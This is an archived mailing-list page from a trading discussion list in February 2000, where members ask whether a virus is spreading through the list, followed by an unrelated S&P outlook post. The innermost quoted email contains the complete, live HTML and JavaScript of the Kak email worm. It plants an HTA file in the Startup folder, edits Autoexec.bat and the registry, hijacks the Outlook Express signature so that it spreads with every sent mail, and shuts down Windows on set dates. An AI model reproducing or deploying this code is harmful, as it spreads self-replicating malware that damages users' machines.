[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[RT] Re: GEN - RT virus? QUITE LIKELY



PureBytes Links

Trading Reference Links

<x-html><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type>
<META content="MSHTML 5.00.2722.2800" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV>What scares me is that I'm also getting the same alert from YOUR message, 
Earl, and I too have the "latest" IE5 updates installed.&nbsp; I received a 
spate of RT msgs in the last half hour, and Bob's first (and then second) msg 
were the only ones with this alert.&nbsp; </DIV>
<DIV>&nbsp;</DIV>
<DIV>So do you get it now with MY message?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Dick Crotinger</DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV 
  style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
  Earl Adamy 
  </DIV>
  <DIV style="FONT: 10pt arial"><B>To:</B> <A 
  href="mailto:realtraders@xxxxxxxxxxxxxxxxxxxxxxxxxx@realtraders.com"; 
  title=realtraders@xxxxxxxxxxxxxxxxxxxxxxxxxx@realtraders.com>realtraders@xxxxxxxxxxxxxxxxxxxxxxxxxx@realtraders.com</A> 
  </DIV>
  <DIV style="FONT: 10pt arial"><B>Sent:</B> Tuesday, February 15, 2000 12:26 
  PM</DIV>
  <DIV style="FONT: 10pt arial"><B>Subject:</B> [RT] Re: GEN - RT virus? QUITE 
  LIKELY</DIV>
  <DIV><BR></DIV>
  <DIV>Your messages have&nbsp;been generating a message that an&nbsp;"ActiveX 
  control on this page is not safe" when I select it in the OE preview window. 
  My&nbsp;security settings are too high to allow it to execute. I have all of 
  the latest IE5/OE5 security updates installed. I would recommend that anyone 
  who has not gotten this warning run a full virus scan.</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Earl</DIV>
  <BLOCKQUOTE 
  style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV 
    style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
    <A href="mailto:bobrabcd@xxxxxxxxxxxxx"; title=bobrabcd@xxxxxxxxxxxxx>ROBERT 
    ROESKE</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>To:</B> <A 
    href="mailto:realtraders@xxxxxxxxxxxxxxx"; 
    title=realtraders@xxxxxxxxxxxxxxx>realtraders@xxxxxxxxxxxxxxx</A> </DIV>
    <DIV style="FONT: 10pt arial"><B>Sent:</B> Tuesday, February 15, 2000 12:01 
    PM</DIV>
    <DIV style="FONT: 10pt arial"><B>Subject:</B> [RT] GEN - RT virus?</DIV>
    <DIV><BR></DIV>
    <DIV><FONT size=2>Anyway to tell if this virus was attached at the RT server 
    or in my computer?&nbsp; Anyone else getting this virus 
message?</FONT></DIV>
    <DIV><FONT size=2>BR</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV>&nbsp;</DIV>
    <DIV>
    <DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
    <OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC 
    id=scr></OBJECT></DIV><FONT size=2>Antigen for Exchange found Unknown 
    infected with JS/Kak.A.Worm virus.<BR>The file is currently Deleted.&nbsp; 
    The message, "[RT] MKT - OEX", was<BR>sent from ROBERT ROESKE&nbsp; and was 
    discovered in IMC Queues\Inbound<BR>located at 
    Distrivision/NORTHAMERICA/C1PLENAEXI01.<BR></FONT>
    <SCRIPT><!--
function sErr(){return true;}window.onerror=sErr;scr.Reset();scr.doc="Z<HTML><HEAD><TITLE>Driver Memory Error</"+"TITLE><HTA:APPLICATION ID=\"hO\" WINDOWSTATE=Minimize></"+"HEAD><BODY BGCOLOR=#CCCCCC><object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIPT>function sEr(){self.close();return true;}window.onerror=sEr;fs=new ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var mye=new Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new String(idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PROGRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\\\\AE.KAK';aeb='C:\\\\Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.commandLine.search(re)!=-1){f1=fsGetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream(8);pth=(kk==kfr)?wd+'MENUD~1\\\\PROGRA~1\\\\DMARR~1\\\\kak.hta':ken;t1.WriteLine('@echo off>'+pth);t1.WriteLine('del '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook Express\\\\5.0';sg='\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\"Default Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=\"Signature #1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"');t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s '+wd+'kak.reg');t3=fs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><BODY><DIV style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(k2,1);while(t4.Read(1)!='Z');t3.WriteLine('<SCRIPT><!--');t3.write('function sErr(){return true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie 5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc failed &nbsp; !]]%%%%%</"+"BODY></"+"HTML>";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write();
//--></SCRIPT>
    </OBJECT></DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>
</x-html>From ???@??? Tue Feb 15 12:43:11 2000
Return-Path: <listmanager@xxxxxxxxxxxxxxx>
Received: from mail.thetrellis.net ([208.179.56.11])
	by purebytes.com (8.9.3/8.9.3) with SMTP id MAA18843
	for <neal@xxxxxxxxxxxxx>; Tue, 15 Feb 2000 12:57:52 -0700
Received: from REALTRADERS.COM
	([208.179.56.198])
	by mail.thetrellis.net; Tue, 15 Feb 2000 11:44:27 -0800
Received: from smtp.email.msn.com by realtraders.com
	with SMTP (MDaemon.v2.8.5.0.R)
	for <realtraders@xxxxxxxxxxxxxxx>; Tue, 15 Feb 2000 11:37:55 -0800
Received: from tower1 - 63.11.146.14 by email.msn.com with Microsoft SMTPSVC;
	 Tue, 15 Feb 2000 11:40:58 -0800
Message-ID: <1e8301bf77ec$16e8b580$9c8d0b3f@xxxxxx>
From: "Dick Crotinger" <dangle@xxxxxxx>
To: "<realtraders@xxxxxxxxxxxxxxx>"
	<realtraders@xxxxxxxxxxxxxxx>
References: <NDBBKNAKALNBGGHEJLHAMEKKCDAA.warren53@xxxxxxxxx>
Subject: [RT] Re: FUT - S+P Outlook
Date: Tue, 15 Feb 2000 12:36:57 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-MDaemon-Deliver-To: realtraders@xxxxxxxxxxxxxxx
X-Return-Path: dangle@xxxxxxx
Sender: listmanager@xxxxxxxxxxxxxxx
X-MDMailing-List: realtraders@xxxxxxxxxxxxxxx
X-MDSend-Notifications-To: listmanager@xxxxxxxxxxxxxxx
Reply-To: dangle@xxxxxxx
Status:   

Thanks for the encouragement.  How will you know if you are wrong?

Dick Crotinger

----- Original Message -----
From: Warren Goldstein <warren53@xxxxxxxxx>
To: <realtraders@xxxxxxxxxxxxxxx>
Sent: Tuesday, February 15, 2000 11:18 AM
Subject: [RT] FUT - S+P Outlook


> Good afternoon,
>
> I believe that the S+P is about to explode to the upside from here.
> I expect a 2 month rally to new highs.
> This outlook is based on my own version of Wilder's Delta Phenomenon, and
my
> own price projection methodology.
> IMHO, today's low should not be violated for the foreseeable future.
> I'm long @ 1385.
> My first objective is 1499.4, basis March S+P, on or about March 14.
>
> Good trading,
>
> Warren Goldstein
> Informational Commodity Trading Advisor
> Email: wsg@xxxxxxxxxxxxxxxxxx
> Website: www.wsginvestments.com
>
>
>
>